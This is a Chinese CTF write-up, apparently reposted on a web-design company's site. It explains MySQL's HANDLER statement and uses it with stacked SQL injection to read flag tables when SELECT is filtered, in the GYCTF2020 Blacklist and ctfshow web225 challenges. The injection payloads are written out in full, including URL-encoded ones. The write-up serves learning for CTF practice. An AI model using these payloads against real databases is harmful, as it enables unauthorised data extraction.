贵州省网站建设_网站建设公司_Node.js_seo优化
2025/12/23 14:42:19 网站建设 项目流程

HANDLER命令

HANDLER 是 MySQL 和 MariaDB 特有的非标准 SQL 语句。它允许你直接与存储引擎(如 InnoDB, MyISAM)进行交互,绕过 SQL 优化器。

使用 HANDLER 通常分为三步:打开表、读取数据、关闭表。

HANDLER table_name OPEN;      -- 打开表的句柄
HANDLER table_name READ (FIRST/NEXT/索引名 = ('值'));  -- 读取数据  
--HANDLER users READ idx = ('admin');  读取idx索引中值为'admin'的行 
HANDLER table_name CLOSE;     -- 关闭句柄

用途
直接逐行读取表数据,无需指定列名,适合探测未知表结构。

列题[GYCTF2020]Blacklist1

查1'发现显示

1b1402b4-7e97-46ef-bd88-c0cf8803c37f

过滤了好多东西,可以使用堆叠注入

试试show tables和show databases,发现FlagHere,(查数据库是一个伏笔

e7333a66-2f2f-46c2-8a0d-f00700aeaf7a

46a0b497-f705-4e7d-b7fd-f37da8e9fbe9

slelect因为被过滤了,所以使用handler命令

挨个用库试试,最后试到supersqli,下面就是语句了

?inject=1';                   -- 闭合原查询并结束语句
use supersqli;                -- 切换到数据库 `supersqli`
HANDLER FlagHere OPEN;        -- 打开表 `FlagHere` 的句柄
HANDLER FlagHere READ FIRST;  -- 读取表的第一行数据
HANDLER FlagHere CLOSE;       -- 关闭句柄

完整拼接后的SQL(假设原查询为SELECT * FROM table WHERE id='用户输入'):

SELECT * FROM table WHERE id='1';
USE supersqli;
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;

例题ctfshowweb225

daa1ecd4-ad0e-44e7-8279-8352e2cb5ea7

前三部分用show拿信息

username=';show%20databases;
username=';show%20tables%20from%20ctfshow_web; 
username=';show%20columns%20from%20ctfshow_web.ctfshow_flagasa; 

禁用了select,我们用handler来读取

username=';handler%20ctfshow_flagasa%20open;handler%20ctfshow_flagasa%20read%20first;HANDLER%20ctfshow_flagasa%20CLOSE;

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询